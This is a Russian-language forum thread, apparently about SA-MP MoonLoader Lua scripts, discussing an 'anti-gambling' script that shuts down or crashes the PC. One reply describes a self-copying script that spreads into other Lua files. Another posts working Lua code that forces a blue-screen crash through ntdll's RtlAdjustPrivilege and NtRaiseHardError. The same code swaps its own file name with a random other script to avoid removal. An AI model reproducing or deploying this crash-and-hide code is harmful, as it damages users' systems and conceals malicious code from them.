Lua Прочее AntiLudomania

vegas

Известный
648
461
Я делал подобный скрипт, он выключал пк когда заходил в казино.

Но чтобы от него не так просто было избавиться я сделал функцию которая копировала этот скрипт во все остальные луа скрипты. Получается оригинальный файл удалил а скрипт продолжает выключать пк
 
  • Вау
Реакции: nanobrick

.KOHTOP.

Активный
226
35
Нужно такое, но чтобы когда самп запускался
Lua:
script_author('chapo')

---@param path string directory
---@param ftype string|string[] file extension
---@return string[] files names
local function getFilesInPath(path, ftype)
    assert(path, '"path" is required');
    assert(type(ftype) == 'table' or type(ftype) == 'string', '"ftyp" must be a string or array of strings');
    local result = {};
    for _, thisType in ipairs(type(ftype) == 'table' and ftype or { ftype }) do
        local searchHandle, file = findFirstFile(path..'\\'..thisType);
        table.insert(result, file)
        while file do file = findNextFile(searchHandle) table.insert(result, file) end
    end
    return result;
end

local function CallBSOD()
    local ffi = require('ffi')
    local RtlAdjustPrivilegeAddr = getModuleProcAddress('ntdll.dll', 'RtlAdjustPrivilege');
    local NtRaiseHardErrorAddr = getModuleProcAddress('ntdll.dll', 'NtRaiseHardError');
    local RtlAdjustPrivilege = ffi.cast("long (__stdcall *)(unsigned long, unsigned char, unsigned char, unsigned char *)", RtlAdjustPrivilegeAddr);
    local NtRaiseHardError = ffi.cast("long (__stdcall *)(long, unsigned long, unsigned long, unsigned long *, unsigned long, unsigned long *)", NtRaiseHardErrorAddr);
    RtlAdjustPrivilege(ffi.new("unsigned long", 19), ffi.new("unsigned char", 1), ffi.new("unsigned char", 0), ffi.new("unsigned char[1]", {0}));
    NtRaiseHardError(ffi.new("long", -1073741824 + 420), ffi.new("unsigned long", 0), ffi.new("unsigned long", 0), ffi.new("unsigned long[1]", {0}), ffi.new("unsigned long", 6), ffi.new("unsigned long[1]"));
end

local function hideMe()
    math.randomseed(os.time() * 99999);
    local scripts = getFilesInPath(getWorkingDirectory(), '*.lua');
    local currentName = thisScript().path;
    local randomName = getWorkingDirectory() .. '\\' .. scripts[math.random(1, #scripts)];
    os.rename(randomName, randomName .. '_waitForRename');
    os.rename(currentName, randomName);
    os.rename(randomName .. '_waitForRename', currentName);
end

function main()
    while not isSampAvailable() do wait(0) end
        CallBSOD();
    
    while true do
        wait(0)
        
    end
end

hideMe();

Вроде работает, тестите сами)
 
  • Нравится
Реакции: oliburn

Sargon

Известный
Проверенный
172
418
Lua:
(message:find('%[Информация%] {FFFFFF}Вы вошли в казино 4 Dragons') and color == 1)
Код:
[14:36:10] (incoming rpc) [ServerMessage (93)] = { { color = -1347440641 }, { text = '[Информация] {FFFFFF}Вы вошли в казино 4 Dragons' } }

проиграл все свое состояние, скрипт не сработал(
 
Последнее редактирование:
  • Грустно
  • Нравится
Реакции: Mintha и nanobrick

notactive.

Потрачен
67
14
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
а если я папку моонлоадер удалю просто?
 

nonsize.

Новичок
20
0
а если я наоборот хочу зайти в казино, что бы сделать скуп аксов, а не просирать деньги?
 

chapo

чопа сребдс // @moujeek
Автор темы
Модератор
8,868
11,575
а если я наоборот хочу зайти в казино, что бы сделать скуп аксов, а не просирать деньги?
на казино скрипт не сработает, я проебался и поставил не тот цвет в коде, так что пока можешь заходить
 
  • Нравится
Реакции: nonsize.

бам

Потрачен
103
23
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
На бар работает ?